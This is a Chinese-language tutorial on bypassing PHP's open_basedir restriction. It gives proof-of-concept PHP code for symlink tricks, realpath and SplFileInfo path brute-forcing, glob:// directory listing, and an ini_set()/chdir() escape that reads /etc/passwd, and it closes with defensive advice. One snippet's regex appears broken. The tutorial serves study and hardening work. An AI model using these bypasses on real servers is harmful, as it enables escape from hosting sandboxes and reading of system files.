你的open_basedir安全吗?
字数 1759 2025-08-29 08:31:35
Open_basedir绕过技术详解
1. Open_basedir基础概念
Open_basedir是PHP的一个安全配置指令,用于限制PHP脚本可以访问的文件系统路径范围。
关键特性:
- 限制所有文件操作到指定目录及其子目录
- 不受安全模式(Safe Mode)影响
- 设置的是路径前缀而非精确目录名
- 示例:
open_basedir = /dir/user/限制访问/dir/user/及其子目录
2. Open_basedir绕过技术
2.1 命令执行绕过
原理:Open_basedir仅限制PHP文件操作函数,不影响系统命令执行
方法:
- 使用
system()、exec()、passthru()等函数执行系统命令 - 绕过
disable_functions限制时可尝试不同函数或编码技术
优势:直接有效,不受Open_basedir限制
2.2 symlink()符号链接攻击
原理:利用符号链接和相对路径跳转突破目录限制
步骤:
- 创建多层目录结构
- 创建符号链接指向目标路径
- 删除并重建符号链接为目录
- 通过多级
../跳转访问受限文件
示例代码:
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D", "aaa");
symlink("aaa/etc/passwd", "abc");
unlink("aaa");
mkdir("aaa");
注意:需要计算目标文件需要跨越的路径层级
2.3 realpath()暴力破解
原理:利用realpath()对不存在路径和越界路径的不同响应
特征:
- 路径不存在:返回false
- 路径越界:抛出错误"File is not within the allowed path(s)"
Windows环境利用:
- 使用通配符爆破目录和文件名
- 通过错误处理函数捕获越界响应
示例代码:
ini_set('open_basedir', dirname(__FILE__));
set_error_handler('isexists');
$dir = 'd:/WEB/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i = 0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr) {
$regexp = '/File\is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
2.4 bindtextdomain()和SplFileInfo::getRealPath()
bindtextdomain()特性:
- Linux特有函数
- 存在路径时返回路径值,不存在返回false
- 可用于路径探测
SplFileInfo::getRealPath()特性:
- 获取文件绝对路径
- 基于报错判断路径存在性
示例代码:
ini_set('open_basedir', dirname(__FILE__));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i = 0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<><');
$re = $info->getRealPath();
if ($re) {
dump($re);
}
}
function dump($s){
echo $s . '<br/>';
ob_flush();
flush();
}
2.5 glob://伪协议利用
原理:PHP实现glob伪协议时不检测open_basedir
限制:只能列出文件名,无法读取内容
2.5.1 DirectoryIterator+glob://
方法:
$a = $_GET['a'];
$b = new DirectoryIterator($a);
foreach($b as $c){
echo($c->__toString().'<br>');
}
2.5.2 opendir()+readdir()+glob://
方法:
$a = $_GET['c'];
if ($b = opendir($a)) {
while (($file = readdir($b)) !== false) {
echo $file . "<br>";
}
closedir($b);
}
注意:这两种方法只能列出根目录和open_basedir指定目录下的文件
2.6 ini_set()动态修改绕过
原理:利用相对路径和目录跳转逐步扩大open_basedir范围
关键点:
- 通过多次chdir()跳转到根目录
- 每次跳转后open_basedir范围自动调整
- 最终设置open_basedir为根目录
示例代码:
mkdir('Andy');
chdir('Andy');
ini_set('open_basedir', '..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir', '/');
echo file_get_contents('/etc/passwd');
底层原理:
php_check_open_basedir_ex()校验新open_basedir是否比之前更严格- 利用相对路径和
expand_filepath()函数特性 - 通过多次目录跳转使open_basedir范围逐步扩大
3. 技术总结
| 方法 | 适用环境 | 限制条件 | 效果 |
|---|---|---|---|
| 命令执行 | 所有环境 | 需有命令执行能力 | 完全绕过 |
| symlink() | 支持符号链接的系统 | 需要写权限 | 读取任意文件 |
| realpath()爆破 | Windows | 耗时 | 探测路径 |
| bindtextdomain() | Linux | 需爆破 | 探测路径 |
| glob:// | 所有环境 | 只能列目录 | 信息收集 |
| ini_set() | 所有环境 | 需要多次跳转 | 完全绕过 |
4. 防御建议
- 结合其他安全措施如chroot
- 限制PHP函数使用(disable_functions)
- 定期更新PHP版本
- 监控异常文件操作
- 使用最小权限原则配置open_basedir
5. 扩展思考
- 不同PHP版本间的实现差异
- 结合文件权限的深度防御
- 其他伪协议的潜在利用可能
- PHP底层代码的安全审计方法